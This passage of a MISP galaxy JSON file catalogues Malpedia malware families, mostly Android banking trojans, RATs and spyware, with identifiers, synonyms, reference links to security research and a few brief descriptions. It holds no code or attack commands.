misp-galaxy/clusters/malpedia.json

{
  "authors": [
    "Davide Arcuri",
    "Alexandre Dulaunoy",
    "Steffen Enders",
    "Andrea Garavaglia",
    "Andras Iklody",
    "Daniel Plohmann",
    "Christophe Vandeplas"
  ],
  "category": "tool",
  "description": "Malware galaxy cluster based on Malpedia.",
  "name": "Malpedia",
  "source": "Malpedia",
  "type": "malpedia",
  "uuid": "5fc98d08-90a4-498a-ad2e-0edf50ef374e",
  "values": [
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash",
          "https://www.us-cert.gov/ncas/alerts/TA18-275A",
          "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/",
          "https://github.com/fboldewin/FastCashMalwareDissected/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e8a04177-6a91-46a6-9f63-6a9fac4dfa02",
      "value": "FastCash"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine",
          "https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "824f284b-b38b-4a57-9e4a-aee4061a5b2d",
      "value": "AdultSwine"
    },
    {
      "description": "Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat",
          "https://github.com/DesignativeDave/androrat",
          "https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html",
          "https://www.kaspersky.com/blog/mobile-malware-part-4/24290/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "80447111-8085-40a4-a052-420926091ac6",
      "value": "AndroRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubis",
          "http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html",
          "http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/",
          "https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/",
          "https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/",
          "http://blog.koodous.com/2017/05/bankbot-on-google-play.html",
          "https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html",
          "https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/",
          "https://pentest.blog/n-ways-to-unpack-mobile-malware/",
          "https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis",
          "https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html",
          "https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html"
        ],
        "synonyms": [
          "BankBot"
        ],
        "type": []
      },
      "uuid": "85975621-5126-40cb-8083-55cbfa75121b",
      "value": "Anubis"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy",
          "https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "06ffb614-33ca-4b04-bf3b-623e68754184",
      "value": "AnubisSpy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.asacub",
          "https://securelist.com/the-rise-of-mobile-banker-asacub/87591/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "dffa06ec-e94f-4fd7-8578-2a98aace5473",
      "value": "Asacub"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut",
          "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/",
          "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4038c3bc-b559-45bb-bac1-9665a54dedf9",
      "value": "Bahamut (Android)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian",
          "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1faaa5c5-ab4e-4101-b2d9-0e12207d70fc",
      "value": "BianLian"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.busygasper",
          "https://securelist.com/busygasper-the-unfriendly-spy/87627/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4bf68bf8-08e5-46f3-ade5-0bd4f124b168",
      "value": "BusyGasper"
    },
    {
      "description": "Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim.\r\nThe distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered.\r\nCurrently the malware has overlays for over 2,200 apps of banks and financial institutions.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.catelites",
          "https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang",
          "https://www.youtube.com/watch?v=1LOy0ZyjEOk"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2c672b27-bc65-48ba-ba3d-6318473e78b6",
      "value": "Catelites"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chamois",
          "https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html",
          "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-unpacking-packed-unpacker-reversing-android-anti-analysis-native-library/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2e230ff8-3971-4168-a966-176316cbdbf2",
      "value": "Chamois"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger",
          "http://blog.checkpoint.com/2017/01/24/charger-malware/",
          "http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html",
          "https://www.welivesecurity.com/wp-content/uploads/2019/02/ESET_Android_Banking_Malware.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6e0545df-8df6-4990-971c-e96c4c60d561",
      "value": "Charger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chrysaor",
          "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-android-technical-analysis.pdf",
          "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html",
          "https://media.ccc.de/v/33c3-7901-pegasus_internals",
          "https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/",
          "https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html"
        ],
        "synonyms": [
          "JigglyPuff",
          "Pegasus"
        ],
        "type": []
      },
      "uuid": "52acea22-7d88-433c-99e6-8fef1657e3ad",
      "value": "Chrysaor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor",
          "https://twitter.com/LukasStefanko/status/1042297855602503681"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c0a48ca3-682d-45bc-805c-e62aecd4c724",
      "value": "Clientor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.clipper",
          "https://lukasstefanko.com/2019/02/android-clipper-found-on-google-play.html",
          "https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/",
          "https://news.drweb.com/show?lng=en&i=12739"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ff9b47c6-a5b5-4531-abfc-2e4db3dcdc7e",
      "value": "Clipper"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.comet_bot",
          "https://twitter.com/LukasStefanko/status/1102937833071935491"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "151bf399-aa8f-4160-b9b5-8fe222f2a6b1",
      "value": "CometBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.connic",
          "https://www.welivesecurity.com/2017/12/11/banking-malware-targets-polish-banks/"
        ],
        "synonyms": [
          "SpyBanker"
        ],
        "type": []
      },
      "uuid": "93b1c63a-4a34-44fd-805b-0a3470ff7e6a",
      "value": "Connic"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.cpuminer",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/coin-miner-mobile-malware-returns-hits-google-play/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8a42a699-1746-498b-a558-e7113bb916c0",
      "value": "Cpuminer (Android)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.doublelocker",
          "https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "10d0115a-00b4-414e-972b-8320a2bb873c",
      "value": "DoubleLocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dualtoy",
          "http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8269e779-db23-4c94-aafb-36ee94879417",
      "value": "DualToy (Android)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dvmap",
          "https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e5de818e-d25d-47a8-ab31-55fc992bf91b",
      "value": "Dvmap"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot",
          "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c9f2b058-6c22-462a-a20a-fca933a597dd",
      "value": "ExoBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exodus",
          "https://motherboard.vice.com/en_us/article/43z93g/hackers-hid-android-malware-in-google-play-store-exodus-esurv",
          "https://securitywithoutborders.org/blog/2019/03/29/exodus.html",
          "https://motherboard.vice.com/en_us/article/eveeq4/prosecutors-investigation-esurv-exodus-malware-on-google-play-store"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "462bc006-b7bd-4e10-afdb-52baf86121e8",
      "value": "Exodus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fakespy",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "dd821edd-901b-4a5e-b35f-35bb811964ab",
      "value": "FakeSpy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.faketgram",
          "https://blog.talosintelligence.com/2018/11/persian-stalker.html"
        ],
        "synonyms": [
          "FakeTGram"
        ],
        "type": []
      },
      "uuid": "6c0fc7e4-4629-494f-b471-f7a8cc47c0e0",
      "value": "FakeGram"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexispy",
          "https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4305d59a-0d07-4021-a902-e7996378898b",
      "value": "FlexiSpy (Android)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.flexnet",
          "https://twitter.com/LukasStefanko/status/886849558143279104"
        ],
        "synonyms": [
          "gugi"
        ],
        "type": []
      },
      "uuid": "80d7d229-b3a7-4205-8304-f7b18bda129f",
      "value": "FlexNet"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/android-backdoor-ghostctrl-can-silently-record-your-audio-video-and-more/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3b6c1771-6d20-4177-8be0-12116e254bf5",
      "value": "GhostCtrl"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove",
          "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773",
          "https://www.ci-project.org/blog/2017/3/4/arid-viper",
          "https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/",
          "https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/",
          "https://www.clearskysec.com/glancelove/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "24a709ef-c2e4-45ca-90b6-dfa184472f49",
      "value": "GlanceLove"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldenrat",
          "https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e111fff8-c73c-4069-b804-2d3732653481",
      "value": "GoldenRAT"
    },
    {
      "description": "Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed. ",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gplayed",
          "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html",
          "https://blog.talosintelligence.com/2018/10/gplayerbanker.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "13dc1ec7-aba7-4553-b990-8323405a1d32",
      "value": "GPlayed"
    },
    {
      "description": "Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities.\r\nThe analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff",
          "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html",
          "https://www.group-ib.com/media/gustuff/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a5e2b65f-2087-465d-bf14-4acf891d5d0f",
      "value": "Gustuff"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hero_rat",
          "https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "537f17ac-74e5-440b-8659-d4fdb4af41a6",
      "value": "HeroRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.irrat",
          "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3e7c6e8c-46fc-4498-a28d-5b3d144c51cf",
      "value": "IRRat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat",
          "https://blog.lookout.com/mobile-threat-jaderat"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8804e02c-a139-4c3d-8901-03302ca1faa0",
      "value": "JadeRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid",
          "https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/",
          "https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1e1924b5-89cb-408b-bcee-d6aaef7b24e0",
      "value": "KevDroid"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.koler",
          "https://twitter.com/LukasStefanko/status/928262059875213312"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4ff34778-de4b-4f48-9184-4975c8ccc3f3",
      "value": "Koler"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus",
          "https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0caf0292-b01a-4439-b56f-c75b71900bc0",
      "value": "Lazarus (Android)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.lazarus_elf",
          "https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fe6134aa-6588-4619-8447-57a44eb8b24c",
      "value": "Lazarus ELF Backdoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.loki",
          "http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a6f481fe-b6db-4507-bb3c-28f10d800e2f",
      "value": "Loki"
    },
    {
      "description": "Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in Android Bankbot.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot",
          "https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4793a29b-1191-4750-810e-9301a6576fc4",
      "value": "LokiBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.luckycat",
          "https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1785a4dd-4044-4405-91c2-efb722801867",
      "value": "LuckyCat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher",
          "https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware",
          "https://www.clientsidedetection.com/marcher.html",
          "https://www.clientsidedetection.com/exobot_v2_update___staying_ahead_of_the_competition.html"
        ],
        "synonyms": [
          "ExoBot"
        ],
        "type": []
      },
      "uuid": "f691663a-b360-4c0d-a4ee-e9203139c38e",
      "value": "Marcher"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot",
          "https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html",
          "https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "38cbdc29-a5af-46ae-ab82-baf3f6999826",
      "value": "MazarBot"
    },
    {
      "description": "MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.mysterybot",
          "https://www.threatfabric.com/blogs/mysterybot__a_new_android_banking_trojan_ready_for_android_7_and_8.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0a53ace4-98ae-442f-be64-b8e373948bde",
      "value": "MysteryBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat",
          "https://securityintelligence.com/news/omnirat-takes-over-android-devices-through-social-engineering-tricks/",
          "https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ec936d58-6607-4e33-aa97-0e587bbbdda5",
      "value": "OmniRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.podec",
          "https://securelist.com/jack-of-all-trades/83470/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "82f9c4c1-2619-4236-a701-776c6c781f45",
      "value": "Podec"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30",
          "http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/",
          "http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/"
        ],
        "synonyms": [
          "Popr-d30"
        ],
        "type": []
      },
      "uuid": "0a7d9d22-a26d-4a2b-ab9b-b296176c3ecf",
      "value": "X-Agent (Android)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3272a8d8-8323-4e98-b6ce-cb40789a3616",
      "value": "Fake Pornhub"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.premier_rat",
          "https://twitter.com/LukasStefanko/status/1084774825619537925"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "661471fe-2cb6-4b83-9deb-43225192a849",
      "value": "Premier RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.raxir",
          "https://twitter.com/PhysicalDrive0/statuses/798825019316916224"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f5cabe73-b5d6-4503-8350-30a6d54c32ef",
      "value": "Raxir"
    },
    {
      "description": "RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server.\r\nThe malware also has the ability to block incoming calls from banks, to prevent the victim of being notified.\r\nAs a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2",
          "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores",
          "https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e9aaab46-abb1-4390-b37b-d0457d05b28f",
      "value": "RedAlert2"
    },
    {
      "description": "The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim's phone doesn't get infected.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe",
          "http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html",
          "https://www.govcert.admin.ch/blog/33/the-retefe-saga",
          "http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html",
          "http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html",
          "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html",
          "http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "22ef1e56-7778-41d1-9b2b-737aa5bf9777",
      "value": "Retefe (Android)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis",
          "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/",
          "https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "31d2ce1f-44bf-4738-a41d-ddb43466cd82",
      "value": "Roaming Mantis"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik",
          "https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer",
          "https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "db3dcfd1-79d2-4c91-898f-5f2463d7c417",
      "value": "Rootnik"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sauron_locker",
          "https://twitter.com/LukasStefanko/status/1117795290155819008"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a7c058cf-d482-42cf-9ea7-d5554287ea65",
      "value": "Sauron Locker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.skygofree",
          "https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/",
          "https://cdn.securelist.com/files/2018/01/Skygofree_appendix_eng.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f5fded3c-8f45-471a-a372-d8be101e1b22",
      "value": "Skygofree"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo",
          "https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html",
          "https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html"
        ],
        "synonyms": [
          "SlemBunk"
        ],
        "type": []
      },
      "uuid": "d87e2574-7b9c-4ea7-98eb-88f3e139f6ff",
      "value": "Slempo"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fe187c8a-25d4-4d30-bd43-efca18d527f0",
      "value": "Slocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsspy"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7a38c552-0e1a-4980-8d62-1aa38617efab",
      "value": "SMSspy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker",
          "https://news.drweb.com/show/?i=11104&lng=en",
          "http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e186384b-8001-4cdd-b170-1548deb8bf04",
      "value": "SpyBanker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote",
          "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "31592c69-d540-4617-8253-71ae0c45526c",
      "value": "SpyNote"
    },
    {
      "description": "",
      "meta": {
        "refs": [
